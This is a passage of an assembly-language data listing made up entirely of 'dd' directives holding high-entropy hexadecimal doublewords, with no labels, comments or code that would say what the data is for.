6568D08Ch, 0BD615Eh, 0E029E9C5h dd 2BF66863h, 126CBDh, 6EFA19DCh, 0C01F86BDh, 0FD0B31F8h dd 559699E9h, 0C3DB6B18h, 0C4DE0180h, 139C90C6h, 539537E9h dd 7B8F295Ah, 0D78143D1h, 5C2F37BBh, 35B9E600h, 2E13DA43h dd 1104CD89h, 8017390Ah, 4E64041Ch, 340E4B60h, 9238E194h dd 0E821247Fh, 0DF0418AFh, 0D2837D2Bh, 0B196A926h, 2FFCC537h dd 3E7E69CBh, 1608B108h, 4227CF5Bh, 0F26712A1h, 0E1A4AEDDh dd 0EBF40990h, 38F73B75h, 0BF4F15C6h, 0EF446A29h, 50B295E8h dd 7D99657h, 75A50D64h, 71809B5Dh, 30668725h, 1D2D4438h dd 0E9442004h, 0C291A2C3h, 992E0AF6h, 6AF40021h, 7C0BD43Bh dd 76098AE9h, 45054F6Eh, 145F01E0h, 6093FD97h, 7D8263B1h dd 0C2DB6B48h, 572DE283h, 0EF968D0Eh, 608943Dh, 62382568h dd 3ABA4098h, 0E67B91A8h, 2529E94h, 8418B097h, 5A0E51ACh dd 2D4DCAC6h, 92BC305h, 3F853587h, 4F080B10h, 60B784E8h dd 8340B3EEh, 15E91713h, 0C9BA9740h, 0B53B5034h, 5709DB14h dd 0D7F833E9h, 88A4E99Ch, 0B50A1E24h, 0C38FF569h, 8AC28064h dd 0D1C1043Ch, 9EC2C57Ch, 8562D9h, 0E9F12908h, 8DB54BECh dd 0BA4E44Eh, 0BAFC6B9Fh, 2758F660h, 3C1DA05Dh, 80AE0FC8h dd 0D1952159h, 1A706BE3h, 2D256B5h, 76C28F3h, 0FC559191h dd 0C58884F7h, 0D05F1E96h, 0B346CA14h, 296B6347h, 7FDEEB25h dd 0D9826EB6h, 0C6D5A075h, 7B425CFBh, 9354F7Ah, 0C5C5B0Eh dd 1C570961h, 57ADEE42h, 7B5F20E1h, 65F08FE1h, 40B9B06Ah dd 60B0C0E4h, 63D607DEh, 7AB8AF71h, 0E17F0102h, 46CA8D6h dd 0D9025C25h, 6DF2A0B5h, 8BDF227Bh, 0C24530Ch, 809B3FB1h dd 0F50BC5Bh, 0E9F93060h, 75966AFCh, 0D03D668h, 584BDA00h dd 68D8F72Fh, 65574950h, 3662BF27h, 2589F37Dh, 0DD2531C5h dd 0CE8CBF02h, 0B2EA8000h, 0ABD253F6h, 8702EF83h, 3334E914h dd 0A3A8847Ch, 2CF25D09h, 0AD81927Eh, 9F8B4373h, 54AE19FDh dd 1380BAE5h, 8008E7C0h, 0D03AB5F7h, 6AC79CEFh, 551D3F24h dd 7D7AD2A4h, 6ACFECE1h, 2E62ABFCh, 0AF7E1CD9h, 5E3A6861h dd 4E458A6Eh, 73735FEh, 3B2D648Ah, 73A31670h, 0B7C5A898h dd 24370D5Dh, 1D0BB056h, 0C5997DACh, 0F9D7CEC2h, 41948C01h dd 30015922h, 0E2805BDAh, 0AC9266FDh, 0F4511DA5h, 50A68291h dd 9E3BEC70h, 0C49A46Bh, 111B9609h, 9C782318h, 0C919A94Bh dd 0D035045Ch, 0EA3913FEh, 2D1F262Ah, 3BCB4B23h, 0ACAF798h dd 1299BB80h, 0A4338F74h, 4A08F31Eh, 168BF13h, 63235680h dd 0B20F9643h, 40C20DBAh, 0F7616041h, 175B3998h, 2DFA3784h dd 0C5C0A78Dh, 0E95D82A4h, 965ECD5Bh, 13F9EF5Bh, 6EC8571Ah dd 0F878EA4Ah, 803BBA19h, 82B013DCh, 9548B640h, 0F3E7D5E8h dd 2D593FF2h, 0F4FC6CFh, 36ED0457h, 0C4491A22h, 86E050BCh dd 9D7D0902h, 0DBE24329h, 0CF7F0DA9h, 0C33227C8h, 6B0FACC1h dd 5BE049BCh, 8F97D1F7h, 0BBC69C46h, 209C9D86h, 0BD059CFDh dd 266A7D17h, 427BC0FAh, 3E76D47Fh, 59E6CD05h, 0FAF11E2h dd 6160BEFh, 0FE58C554h, 5FB6454Ch, 0ECBF7D00h, 3EA45Ah dd 9A3DBABBh, 0E9FB3109h, 5A6E544Dh, 667F7F01h, 3E2035AFh dd 2C3740D7h, 0D328B777h, 830F6FEFh, 64E0916Ch, 62FAEA98h dd 207D5D15h, 3601C444h, 4004B037h, 0EE5CD19Bh, 9F0D20FCh dd 0C7508560h, 8EBCD39Dh, 0E377CA68h, 66900058h, 815F379Eh dd 395803E7h, 0FEE928E3h, 27EC795Bh, 21668C0h, 0A0CA0697h dd 5E67DAFBh, 0E8DA0592h, 9722A61Bh, 0C0E95B71h, 9D56E1EEh dd 4036D518h, 2858773Ch, 0D109B2C1h, 270C2068h, 0CA9D8A27h dd 0A1EB106Eh, 0CFEC10h, 16CE814Eh, 9829D435h, 0B513F3Dh dd 0E602633Eh, 61D51FE7h, 0AF5869C0h, 27D1FD48h, 0A3F372EBh dd 7446F82Eh, 9AE91076h, 0F20B7B60h, 8EA50845h, 0D1E8CB64h dd 0C27629C2h, 0E6DDBE2Ch, 9F06FE58h, 55898429h, 3E55C1ABh dd 0C2E9278Ch, 0F5805201h, 0D0EDCD95h, 5979EF28h, 502D0EE6h dd 0F87EB0h, 1A34C0FEh, 40951024h, 82A95AE8h, 0FC9583E6h dd 7CBD6014h, 7325367Ah, 3491D44Dh, 0F5D78106h, 7CA2E8C4h dd 1A99A4C1h, 7D2035C7h, 77727066h, 0C74013Dh, 25E938F3h dd 0D55D7E7Ah, 8DDD56E5h, 0E4D28F66h, 0C6CBBDA5h, 0EBC045Bh dd 0AE9291EFh, 0F231155Ah, 0B37F0BE9h, 0BCB10F28h, 642D3CB3h dd 0FBB920B8h, 542DAD03h, 0D90A7867h, 0B33EF7E3h, 0EF810F0Ch dd 2D07E586h, 725021A3h, 0E94F0B5Fh, 0B9C89FA6h, 8633468Eh dd 92AAF023h, 0EA94E044h, 8737BE5Dh, 0C2F132FBh, 82CA68E9h dd 233E4D7h, 180EBB53h, 29D4198Eh, 156EF12h, 0C18DA553h dd 2A0CFD2Bh, 0E29F8C19h, 86825D87h, 8346C166h, 954A5779h dd 425F58C2h, 417057E2h, 795EE204h, 12C07424h, 614A5A61h dd 1B5CA27h, 0B9D82014h, 5916A596h, 0E5E77E04h, 0D4AB560Fh dd 0BF0665F8h, 3E8A0C83h, 1B27386Ah, 0EF39BF4Bh, 756D9341h dd 0E792CCDh, 185F0840h, 0BB9617E9h, 0E8985AD3h, 0A10E050Ch dd 0B8D3A06h, 312C9A12h, 71485DDh, 0D034DECh, 1AD59EEh dd 9FC0D0AAh, 0C60B053Dh, 807B6742h, 3FC135CCh, 0E93A0972h dd 0C9D1C26Ah, 0DCB1B942h, 27DC31CEh, 54E993E8h, 4A8ACAABh dd 0F7EAAE93h, 44915C09h, 0C661AA53h, 0FE0243B5h, 0BC41D890h dd 90B90082h, 16B2D06h, 4985E581h, 0DAD168F1h, 9BBC188h dd 484D042h, 7DDDAA11h, 0F25247EDh, 9FF98629h, 30C7A0D5h dd 314A3D38h, 0D2BC91D0h, 0F48CEBB1h, 59B94251h, 1BE64E10h dd 0D80E0B14h, 2A0FB592h, 0C0789BA4h, 0F9C68091h, 465A32Ch dd 1FBCF402h, 0E0E6F574h, 0C0C0B767h, 6BBF57ECh, 3148A36Fh dd 7B0137A9h, 5B33F760h, 183B60CAh, 78D24636h, 2D9C3C98h dd 63AB5212h, 7DF1FA5Ah, 0D22939D3h, 0D6F520ABh, 600DE145h dd 0E1939BE9h, 58C5BBFFh, 0E3103D53h, 7058507Eh, 5918D164h dd 0B780BA85h, 0FA504B07h dd 88984E6Fh, 0F9975998h, 0ABE5674Ah, 60273F73h, 0D7DB510Ah dd 0BF5EC56h, 20F1230h, 55C6E230h, 0BFF48F6Ch, 0F48ED95Fh dd 90F27573h, 0A23EF1ECh, 0F3C91867h, 139DEE31h, 0FE7D1C60h dd 0C6E94C30h, 0C397C225h, 86E0FA24h, 2981133Ch, 7B5EFD6Ah dd 9AB27F25h, 8AB25418h, 260D663h, 64B48D3Fh, 55B8615Fh dd 6A93FDh, 756FBBA4h, 0C4BF6C42h, 0DFFE9FEBh, 5632C312h dd 4196FD94h, 0F2BABC2Ah, 0C1C97590h, 1D8C00ADh, 0C70A6E7Dh dd 0D444970Ch, 0FE8FC04Bh, 434A1457h, 0D8997DACh, 0BAC613FDh dd 0B5BF5076h, 871AC753h, 2D4EC46Bh, 0FA793B42h, 0E13CFB68h dd 409668C9h, 7A46692Fh, 4B2D6761h, 9BECC7Bh, 0ECC4A04h dd 9647401h, 3E025E0Ch, 4CAFCE82h, 13D38E04h, 0BC375BEh dd 185FE2BAh, 80FE14BCh, 5D129B2Dh, 530A6366h, 0E9050705h dd 0C8562C40h, 8B876E12h, 0DDC616B2h, 317C6EC6h, 8A763095h dd 9666B716h, 32D25130h, 274DB0B8h, 0A5D428BAh, 1887521Dh dd 5E2CFC1Eh, 92E91801h, 59C87566h, 9726719Fh, 39270529h dd 3030AAD0h, 2701DFCFh, 0E2601718h, 0FC0BD412h, 0F45FF889h dd 754243Dh, 226523B8h, 0CEAEB6E9h, 9D959EAFh, 53314A50h dd 0D62A95DDh, 6868A860h, 0F9065336h, 5A585418h, 62285D3Eh dd 0C7AE63Dh, 74486325h, 95E10145h, 3F73C44Bh, 0EC015DF0h dd 0E9D9C470h, 2916AEDFh, 2FB299FBh, 0F4E4EDB9h, 0FE40FF14h dd 9097925Bh, 6992204Ah, 0B8685A1Ch, 25E3E6AFh, 0F4D015B1h dd 3AB45000h, 8658E620h, 325ABDDEh, 66EE8007h, 0D696CEFEh dd 930700Eh, 0E799E9F1h, 15C37692h, 0DCF6EF84h, 0F25EF317h dd 0D1ABD365h, 6BB8E72Fh, 48DAE3B2h, 69CCF37Fh, 7C25C46Ch dd 5F3EB2F1h, 0FE5FF596h, 0C2B4C6B8h, 48574CCBh, 0C92ACCEFh dd 0E625340Bh, 5A8BBB54h, 66F71469h, 8DF2A0D7h, 62459736h dd 7453BA01h, 1B7E4503h, 36A01217h, 0E9396D32h, 1345DA3Ah dd 80209F38h, 284CF8DDh, 39A42910h, 2093FA2Dh, 5520A28h dd 15363107h, 0C4BE0418h, 0E4AC15Dh, 96BDBFC5h, 30ABC7A8h dd 3F5BB052h, 535D277Dh, 0F4800EBAh, 0CEC6D33h, 4E2085CCh dd 385AFCE2h, 37AE4B99h, 286B120Ch, 0CAC2BB41h, 211E9079h dd 7BB9137Dh, 9941B28Eh, 0E4D39C3Bh, 0E00EEB55h, 2D9C6EF3h dd 0F276C583h, 0B5562506h, 3F0CED99h, 598194ACh, 201C4F21h dd 0F7804AE3h, 4A4778D7h, 0BF3103DCh, 28861BDh, 0A2F8E7D1h dd 0D8A3CF4Eh, 82C49240h, 10E2F2D4h, 0F0E290D7h, 7C20013Bh dd 5F70F281h, 0D729EC07h, 6FF18EACh, 6480E880h, 1C2E5C27h dd 51777B0Eh, 4FAEE9C4h, 0D41A7A29h, 0E897426Fh, 0B32A595Fh dd 4EEA5D24h, 0BF932B7Ch, 0EE7B4CE9h, 0B25195E0h, 25326508h dd 0FB0BE1F2h, 8407EDC0h, 80BDCFDFh, 0A1E4BED3h, 1FC80568h dd 0AB5F0FF3h, 69226343h, 6B942F87h, 0BBEA34A4h, 0DE88F394h dd 0FA43D685h, 51EFE980h, 0D5183CE2h, 2412A5DCh, 0EB2D49CCh dd 0B9B006F5h, 39552773h, 7E277C53h, 0F0D2524Fh, 783A46Ah dd 7E065000h, 24C5816Fh, 27167320h, 0BEEFE9E1h, 69EB803Fh dd 5931DB76h, 0D3F7274Bh, 3559F9F4h, 838566Bh, 5E12E4DEh dd 0EA90D3B0h, 1F304D9Ah, 96D15525h, 88F3DC25h, 0D62F870Ah dd 3EE0A073h, 4BADA27Ch, 4CD7F789h, 0B6752FCAh, 0DDE927FCh dd 94B5AC5h, 1765DF0Ch, 0B1915569h, 7FBC3AD0h, 25B637C4h dd 0DA8501BEh, 60183153h, 7727E939h, 278CD154h, 86C60355h dd 0CD892DFCh, 38022A7Eh, 0C17A3028h, 0D16CA090h, 0CDB6BBE5h dd 0A7DB2C24h, 76E2677Eh, 4CF157E0h, 0A14DA640h, 6930E72Ah dd 0EA309F14h, 13C41144h, 99FA5BD9h, 0D8466FEEh, 257D420Fh dd 23D6E70Eh, 0AC111451h, 0C18380B5h, 2E4E4A38h, 0B59F9858h dd 0B750AE7Ch, 54B89753h, 7D044335h, 50516576h, 66F300BEh dd 68570B58h, 0C842D80Bh, 0EF34003Dh, 0F7C424A9h, 970BB122h dd 3B8214D0h, 85DA445Eh, 0CB08D09Dh, 68E880Eh, 0A046C56Fh dd 0C605ABE1h, 11DE5628h, 2DA5783h, 835FFA39h, 0E684FFEAh dd 535B03B6h, 455D9A55h, 0FB52A77Fh, 0EC53EE27h, 1AD12291h dd 0BACBF31h, 2827B518h, 22C2EA16h, 0FEB35394h, 2D16CFF1h dd 2F5951FBh, 80562953h, 88000712h, 0AE78D5EDh, 0D0297576h dd 5A2E0828h, 52A58958h, 1EC8311Eh, 0F0A2AF70h, 9855165Eh dd 5137DFEh, 0CCE935DCh, 0D5F08CC9h, 0F4CAA4A9h, 0E7B137Eh dd 17CB7330h, 3F3ABDC2h, 0E8A662DBh, 13539310h, 5C88F0ADh dd 8887F49Fh, 8809B48Dh, 0C44C04EBh, 48DDE7EAh, 7A1B009Ah dd 0E6E97FBDh, 0ADD891B4h, 0A2EC9C7Dh, 16CED6AEh, 9F21259h dd 0BA7452B7h, 0EC23E7C0h, 1DBA170Ah, 10E1F854h, 0FC4E6693h dd 1F144CA7h, 439F319Eh, 0D3301A89h, 81B582DDh, 0A0C2F580h dd 0E739A040h, 0A135E69Dh, 0D2370A60h, 407AF34Fh, 4B0CA1E8h dd 964271FCh, 0EA631672h, 517DA86Fh, 169DF8ABh, 8EE97B12h dd 9B94CE0h, 14BC474Fh, 0FD4FDFFEh, 0FDF2F01Ah, 0C4D2C493h dd 4E100955h, 48FE0171h, 7FE9419Bh, 66DB34C8h, 5AD1211Dh dd 0E6697631h, 19F9AC2Fh, 0FD5BD483h, 133B2071h, 0E938FEA4h dd 6D7B2F68h, 31F66099h, 0C0C3C68Ah, 67FF098Fh, 0B1E98B72h dd 0DE9776F8h, 8BF7E914h, 92DA95h, 46C035B1h, 0E3D1DBF7h dd 40EBC127h, 0EC190A22h, 0AB70FB5Dh, 9D957085h, 0F26B827Ch dd 0DE45205Fh, 68099890h, 50053778h, 9A73A32Eh, 0A53F5338h dd 8155F22h, 981E2905h, 64C5690Bh, 0EEEA8064h, 5973F5Eh dd 491B0918h, 3D3FFC2h, 0BC8B41EFh, 2099F463h, 4B0B2F34h dd 574F3545h, 0F0D526C2h, 0F13FC0E6h, 0DBE764A0h, 6640DC90h dd 0B84E5B68h, 0BA51CCB8h, 9F056063h, 0C3315FF8h, 0A85655F4h dd 1AC67067h, 594F1EDh, 0FEE57BBEh, 680AB06h, 1CF98951h dd 251CA6E9h, 0F10362C4h, 795E294Ch, 0DE17FA49h, 2FF924ACh dd 9398DA6Ch, 0F30F78CBh, 88343D92h, 50E0FEBFh, 2370BF3Fh dd 0DC417B90h, 0B843BC6Fh, 1C25BD44h, 7C57A2C1h, 63F22100h dd 59CF8927h, 58480B2Dh, 4D5C412Ch, 0AAC0720h, 22B3505Fh dd 85BB576h, 0E0C15802h, 0EA026102h, 0C57EFC2Fh, 0C144DF81h dd 0A7BE5BDAh, 0DBB000F6h, 68E94F2Fh, 0D8CA97FDh, 7B51E17Dh dd 75A1B83Ch, 540A89E5h, 0C4943459h, 144CFCh, 9E5A7DBBh dd 9A08F425h, 4FE1FE01h, 0FB67AFB1h, 55FD62B2h, 0E5C221D1h dd 95906613h, 28DAAF22h, 835A8561h, 0AE3E0ACCh, 29C9F07Bh dd 4C353062h, 2EAAAFA4h, 0D3F1885Eh, 0CB580B6Ch, 7E55C3E0h dd 173850Ch, 3DD852FBh, 365E623Eh, 5928E2DBh, 0F216E541h dd 5AEED15h, 0B91E3625h, 1010CBB3h, 88B16825h, 0B8F059EFh dd 4AC5564Dh, 527C5EEBh, 85D437B1h, 813F9072h, 27F62EEh dd 0A8685B0Ah, 0D38B9861h, 0C91E744Eh, 6E0C302h, 142BC00Ch dd 835C384Ah, 37090500h, 790DE90Ah, 0DDCF90B7h, 3B909D2Dh dd 5A4ABC68h, 5A28C28Ch, 120DF352h, 58E32A46h, 0A9C78100h dd 68106F14h, 9F306731h, 287BF589h, 0CF9D5125h, 6352240Fh dd 5BDF2AC4h, 0C9E934E0h, 2FA459h, 301115DCh, 0B31A2068h dd 0C6EF08ABh, 0DAB0B83Ah, 0CADE38E9h, 408E83FBh, 0DA3B0FADh dd 625F429Fh, 50BBD44Bh, 4CB5C629h, 26C680C6h, 544A2578h dd 8A0D456h, 14CD0CC7h, 0D75B0B82h, 0C8EFD2C9h, 98A3579h dd 50677507h, 0DF9AE909h, 164ABA43h, 0F75FB9CAh, 33E98690h dd 0F5B800FBh, 354B4D75h dd 0E4266707h, 583140Ah, 0D2C0B2h, 0BB58C252h, 284D273Ah dd 372B5548h, 0EB5EFD45h, 0BD7AA019h, 7F3B0Ah, 5DEF0971h dd 0E95F5157h, 0F3D72E2Ah, 2F30817Ch, 7CC70A1Eh, 3FD0B006h dd 585D5FFEh, 0B524C758h, 4DF1C236h, 190552Bh, 6BB592B8h dd 86C6B954h, 3EDFFC2h, 55846805h, 29828F37h, 0D72AAB16h dd 6AE4E7B9h, 7A0026F3h, 81783A55h, 6A07EF7h, 4A17FFC3h dd 9FFD7D7Ch, 0CA260841h, 0FDA92751h, 0AF7588E1h, 0FE5B660Ch dd 0A89FF4F2h, 9F381E8h, 987D9111h, 83896D62h, 0FCA059DEh dd 0F605D640h, 42DA3F28h, 3506E880h, 2B2FD1Dh, 2F755EBDh dd 4A4C2EC2h, 95EF4B7h, 9946033Dh, 906AB024h, 51F3FAC2h dd 93D42DA1h, 5DEAF051h, 0EEE02322h, 2255122h, 66FD37E9h dd 36549FDBh, 10741443h, 50B33F25h, 0D35A7346h, 0AFDB75ABh dd 24C97A3h, 8A023A04h, 5AB1BA19h, 0B8440804h, 9E1BDE9h dd 8412A07Fh, 45EF1C4Eh, 5C38320h, 0E3B2C0C7h, 613E253Ah dd 11883103h, 2C00CF11h, 686104CDh, 8F6353BBh, 0DC3B814Eh dd 0CBAB30B3h, 8850591Eh, 58E20539h, 91C4805Bh, 6CCCD382h dd 0F654F06Ch, 0EAEF60C7h, 281A6852h, 4881C3A6h, 58BF785Dh dd 10D63CFEh, 0C55E7923h, 95DAFE74h, 0BD550C60h, 860C7AA2h dd 0BA0BE3Ch, 0D1644FE9h, 3FAE3879h, 512512E7h, 0D450B6FCh dd 687AA831h, 434D633Ah, 0A002615h, 0EBB8505Dh, 98341D02h dd 289616C5h, 82E0B99h, 4D7D0E2Bh, 0BAB93407h, 0EED279F2h dd 27C53E08h, 0DDCE235Fh, 97B40EBh, 307E40BEh, 31EEC35Eh dd 0ADC472h, 14EDBE56h, 0CA06357Ch, 3CAEEC2Ah, 818EE6C1h dd 63076DF6h, 62CE602Fh, 22163C3Bh, 0B8A184E9h, 5014C32Eh dd 505761C9h, 0E4C05BE8h, 0C480080Eh, 14FC14A6h, 4FDD2F6h dd 1DB9E92Bh, 4EFD33E4h, 18C7B4BAh, 0DA1668D9h, 0B2774DA7h dd 0FCD8D7DCh, 8EFC3148h, 7CCFC7F4h, 4E8DCE2h, 27C0855Fh dd 0BDBC417h, 0DE67D758h, 42AFF62Dh, 0D00A53A5h, 9702F02Dh dd 0D7EBF3FBh, 0D9D7F562h, 541265D3h, 0B7818CB2h, 0D6F780ECh dd 288D777Ch, 94234CFh, 0DBF0012h, 162F9B03h, 0EAE06031h dd 2A7A3B2Eh, 411DB94Eh, 10297E08h, 5050022Ah, 2AC1585Eh dd 54322AC3h, 80456862h, 284C16F6h, 7FC4CDF0h, 0F8E5E7E0h dd 5020EDD0h, 0E4E3F7E8h, 0BA9AEBE0h, 6CF54857h, 3C318904h dd 72C8EB75h, 0D529245Eh, 34BD0274h, 0E3552EE1h, 53C08C28h dd 0B941A1h, 54CF812Ah, 4F451C31h, 280E76B0h, 0E569363Bh dd 66E0D7E9h, 5E2FEC47h, 822443CFh, 0B0DCC21Dh, 7901EAA9h dd 0E9B83DE2h, 0D17F1850h, 407F0Ah, 26C1D5F7h, 8203EDh dd 8E756E0Ch, 0C1976DE9h, 2A7F5387h, 7C99441Fh, 58D18A40h dd 0AE0260EBh, 4B531455h, 0AF20CA7Ch, 7097F497h, 0A39FBDC0h dd 1F853F53h, 93ADB6CDh, 400532Ah, 0BBE30D4h, 8AAFAE66h dd 0DA190431h, 652D306h, 21DF04FBh, 68FCD7F7h, 0AE1F4B42h dd 0D10C0C5Eh, 823C1014h, 0FFAF6677h, 62160762h, 8B29FCC7h dd 6027DE73h, 56C35347h, 3CDEE3B5h, 0BB820706h, 263675DBh dd 1D01B176h, 34E90C2Bh, 90DDE1A5h, 86220A88h, 0F64EB225h dd 74760E8h, 68691C26h, 7958E48Ch, 59E7F56h, 6AE920B8h dd 9EEF5FA3h, 0AEBB09CDh, 202D79D2h, 246D66F9h, 0A7F5F51Bh dd 9B174C5Ah, 0B0A0DF36h, 27D0FC1h, 0F1A031BFh, 0AA546034h dd 0F60B1090h, 4A72E342h, 700809C2h, 330222C3h, 0E8D2B029h dd 2DE44208h, 0F389865Eh, 355A72A5h, 81EBB8EBh, 7E456803h dd 4BBDECD8h, 8B19D03Ah, 7F7B1116h, 37842135h, 0AEB416ACh dd 0E98222A3h, 3A757544h, 79B0FF7Ah, 0F63A72E9h, 39967AD1h dd 4952712Fh, 6E5518A9h, 0C96F2D82h, 0F27332D6h, 5ECEA94Ch dd 39742F54h, 83885E80h, 0AEDA0957h, 165F901Bh, 0FC750FF1h dd 630D0492h, 9803E79h, 58827B9Ah, 6C0F8805h, 23F59288h dd 0CFF2D14Bh, 8559571Ah, 68AF427Bh, 0B4B0019Ch, 28814FB5h dd 900C9121h, 625CFC02h, 0F8881CF4h, 4BE60F55h, 9D7270E8h dd 0E07AAFB2h, 298B6804h, 3582264Fh, 0C343CA6Bh, 8AE8DD47h dd 50C3FC10h, 0DAB8C640h, 27A9574Ah, 3037C6D7h, 6EDC01Dh dd 2451F58Fh, 17EA0DC5h, 3F15EDCCh, 3E4F785Fh, 76664049h dd 0F9712FFFh, 0D14FDCBh, 493C1124h, 0D0C07749h, 0A85D6855h dd 2087484Fh, 0F5BB0533h, 0FA0C4C0Bh, 4252430Bh, 3F9EFD15h dd 0ACF8F74Ah, 0BE26F913h, 0F47CA871h, 7EAAF307h, 0A6F3BA84h dd 7A16BFD6h, 519E0EFAh, 8014E5CFh, 55A581Eh, 0E316A768h dd 0DD727F63h, 1BB5EC50h, 6CB20F5Bh, 49C5FE2Eh, 875D02F5h dd 54D175C8h, 2B382B0Eh, 3845437h, 4E027154h, 31DE07FDh dd 9A894FCEh, 3F8B5DE8h, 5452A926h, 43260848h, 0A00FB702h dd 0BE685D10h, 97095F58h, 0F4EAC14Ah, 38CD0025h, 0F7E93A1Eh dd 562C0495h, 8DA4B6FEh, 373BE15Ch, 9669426h, 0F1240B5Eh dd 243464FEh, 0D5D943C2h, 0B741AE3Ah, 0D6CF74D7h, 7B957CC1h dd 0C6825C50h, 0D7D16BC9h, 7E6B0BFFh, 0E9093EC4h, 0A472E269h dd 0CD1DCE0Ah, 0E958DC6Ah, 0D5135F09h, 0D4B29182h, 3BF217FDh dd 82BA5422h, 59D92505h, 2C10CBDBh, 2C1D6610h, 2773C05Ch dd 0DB8BF94Ah, 5FCD3CDFh, 1C3DB25Ch, 694F1BC4h, 0C2F04950h dd 1E0982CAh, 25B07788h, 7E592568h, 6C59A2FFh, 455BE88h dd 0EE239443h, 94D76FB0h, 0DEC62594h, 135C3EF6h, 47D18159h dd 0F2103795h, 60ED6E21h, 68E520F8h, 0E190DE4Fh, 68D6B14Ah dd 1FF38070h, 0BF1E360Dh, 4E6070E2h, 882F9A74h, 8B6009ADh dd 77C6EA72h, 282DB941h, 718825CBh, 0A0E961A6h, 89AC6FDCh dd 2D56FBD8h, 7F79612Dh, 572CC985h, 569E80Ah, 0F43DD3FDh dd 7E13E6C0h, 2AC2B73Fh, 0E6C1EE30h, 7C570825h, 8AAD001Fh dd 662CE9F8h, 27BC5D99h, 0BD695819h, 14EA24FBh, 3EBB88h dd 8674F380h, 0D569F6EBh, 533A0508h, 132EFBC3h, 1E2BC323h dd 3B5E89A3h, 7D205AC6h, 0F0293FB0h, 8C574BF6h, 485E206Fh dd 33FF3931h, 0E982E939h, 0E4AABD8h, 0E72508C4h, 2ABA45AFh dd 0B66725CBh, 90BF806Eh, 16CCB975h, 1032B666h, 507E3CBh dd 72CA025Fh, 0E8DEB4AEh, 7145B840h, 0D780E16h, 61A21031h dd 2F60D8F7h, 7302242Dh, 0E0C11702h, 3DCD8006h, 50ACADFBh dd 5972BD31h, 0F70469B8h, 0E8FA295Eh, 5052A0F1h, 69BE09B8h dd 5C015897h, 3CC959E6h, 2FC62692h, 600982A8h, 7D364742h dd 6C56AE09h, 0B2E264C7h, 95507F69h, 759085Ch, 0E745A36Eh dd 0F4B0D1B5h, 0CCA61466h, 1305FCEEh, 0D2580E3Bh, 880EDBCh dd 0EA895259h, 5D1A6696h, 0E7DD40ECh, 4B621D4Fh, 0ED219268h dd 14854BDBh, 3F658DBEh, 12ECA764h, 44CA2338h, 504EF575h dd 745327F1h, 8AFAC258h, 24594D1h, 5CB01CF9h, 5BBC6CE9h dd 5E685B06h, 960DF663h, 0ADB8134Fh, 9134CD3h, 0F206C03h dd 0D13E7EDAh, 0FB860708h, 0BFD9DE04h, 2F7C44F7h, 25BA2722h dd 823E7B84h, 0EEE62C1Ch, 7AD2312Fh, 519409EBh, 89CB3206h dd 7A22F2B4h, 58D0189Fh, 30E54F68h, 5FE4E96Ch, 41C1383h dd 0C433AC71h, 49EFC492h, 16D5754Eh, 5C71B77Fh, 3167D2F2h dd 99F3515Eh, 140500F3h, 108E282Dh, 745EBE9h, 546303BAh dd 29F1FF58h, 1895E3C6h, 24B0B408h, 21104DDCh, 43135E58h dd 16DCFA65h, 30E05B4Fh, 8A7F2B6Bh, 47682200h, 0E91FEB4Bh dd 2000BDF0h, 9510E7BEh dd 0BBC6248h, 50F4E77h, 0D6A9B6A3h, 3E5CED02h, 28772502h dd 0D62E08C8h, 0CB2EF769h, 0BA4A9361h, 0CCCD70E1h, 0E3203081h dd 4358B56Eh, 6BF37195h, 0B72283A2h, 6AD7F8C9h, 0D9C4EBECh dd 5EF5E95Dh, 2A8BA2D5h, 0A4BCE909h, 96A85E7Eh, 0EB75F375h dd 0A1315A7Eh, 555E1CF8h, 0B7C477DCh, 0A24F71F1h, 575E5B68h dd 0DB9FAC65h, 60C1D4EDh, 1F7B3247h, 7E985D4Ah, 90E91750h dd 0CBF0D4B5h, 0AF513F61h, 20B6707Ch, 7F908ACCh, 0C52866C4h dd 1373EB47h, 6AF7670Eh, 1CB05AFh, 23468764h, 0FB850B8Fh dd 36F41199h, 0E33FC08Ch, 5DBB7A5Ch, 5E5A2D83h, 33F1FDE2h dd 582DDE4Bh, 0C692ACE9h, 40E1D12Dh, 267D3360h, 386427F6h dd 0E0B81B04h, 0CB1FB001h, 0AD708BE8h, 0EB35F69Fh, 84223602h dd 259EE75Fh, 0E9059E7Eh, 70D92D9Bh, 0A45FED41h, 0A589A83Fh dd 0FCCE88AEh, 0EA1C16B9h, 595AD784h, 419DB3B4h, 54852E05h dd 0AF6253EEh, 0D6906F1Eh, 0CE31582Dh, 59422454h, 880974BDh dd 0DE27A391h, 0F5A6EF93h, 595BF3EAh, 9F8B25F9h, 0BD0EA678h dd 32625EC3h, 2F048CEBh, 495D5B59h, 2EE40570h, 54C21688h dd 5A0785EEh, 0D157A0BBh, 0A0F9DB0Fh, 1AE92501h, 9F008B56h dd 9A13B5EBh, 95C3FC74h, 6B4B50F8h, 47C5A1E8h, 0FE1A2E5h dd 0C91CA9BAh, 0BEDB8F36h, 0D006358Bh, 99C4C0F6h, 29444273h dd 685113C0h, 6A984CEAh, 1034C171h, 61B444D4h, 6844D54Fh dd 5409818Dh, 84D8E5DDh, 0E883BAE9h, 7556CB3Bh, 422518E6h dd 233ADFBCh, 0CA424FF4h, 825104A2h, 0C8DE1DCAh, 5F178D43h dd 4BDCA80Fh, 9F5EDFA4h, 0DB089FF3h, 0E7696E22h, 1F1690F0h dd 0F10C6937h, 90010DD6h, 0D3B2AC1Dh, 0BC71FB91h, 243F09AFh dd 0BF85EBDEh, 58DD2ABAh, 0E7B94AD5h, 6E270DD4h, 0A6B30E98h dd 7D5B5782h, 950CD288h, 0B8008A40h, 2D7B6E37h, 0BD339BEh dd 1AB2812h, 0DC1FD591h, 21A210Dh, 0CF76D3EDh, 0FBA9D52Dh dd 481EB0DCh, 0FE52D74Bh, 1B5C407Bh, 0BE766F38h, 0EB5F6A79h dd 0A902DBF0h, 0D86E5AA5h, 0BC5FBD90h, 0C8857DA9h, 96BB8D1Eh dd 5EB462E8h, 53C7EEC5h, 2E7FCA26h, 0BC45306Bh, 598F4FBCh dd 52A277FFh, 144B478Fh, 77F0335Bh, 68602C06h, 4AE6107Fh dd 61533682h, 15A779C7h, 24A243C1h, 1100BF51h, 0B958B341h dd 0E5255293h, 626FAC7Bh, 0F7CD3106h, 2E4154E3h, 2418DDEBh dd 97386875h, 3EBF5A4Ch, 0A1D866A2h, 5FFB2F8Dh, 0F11A937Fh dd 0B37AA5BEh, 894927C3h, 1AE67F62h, 27AD6813h, 0F14B4BDBh dd 72E92AE9h, 0FAABDFCEh, 2989B9C5h, 0B4E5157h, 0F0562165h dd 0EA7B054Fh, 0F5C6AB90h, 